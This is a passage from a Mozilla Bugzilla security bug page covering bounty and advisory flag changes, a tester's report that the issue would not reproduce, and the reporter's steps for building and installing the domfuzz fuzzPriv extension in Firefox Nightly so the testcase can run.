Whiteboard: [adv-main56+][adv-esr52.4+]
Flags: sec-bounty?
Flags: sec-bounty? → sec-bounty+
Flags: qe-verify+
Whiteboard: [adv-main56+][adv-esr52.4+] → [adv-main56+][adv-esr52.4+][post-critsmash-triage]
I followed the instructions from the Description but I could not reproduce this issue. Can you please provide more information? Am I missing something?
Flags: needinfo?(nils)
(Reporter)

Comment 31

5 months ago
Cristian, the testcase requires the fuzzPriv extension from here: https://github.com/MozillaSecurity/domfuzz/tree/master/dom/extension
Flags: needinfo?(nils)
Specifically, to install that extension, you need to:
 1. clone that github repo
 2. then run "make" on the command line, within the dom/extension directory, to produce a file called domFuzzLite3.xpi
 3. In Firefox Nightly, set two prefs to make it allow you to install that extension:
       xpinstall.signatures.required = false
       extensions.legacy.enabled = true
    (I think we only honor these prefs in Nightly builds, and maybe DevEdition -- not in release builds.)
 4. Load the domFuzzLite3.xpi extension (e.g. by visiting file:///path/to/the/dom/extension directory and clicking on the filename for domFuzzLite3.xpi).  Firefox should prompt you to install it.
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.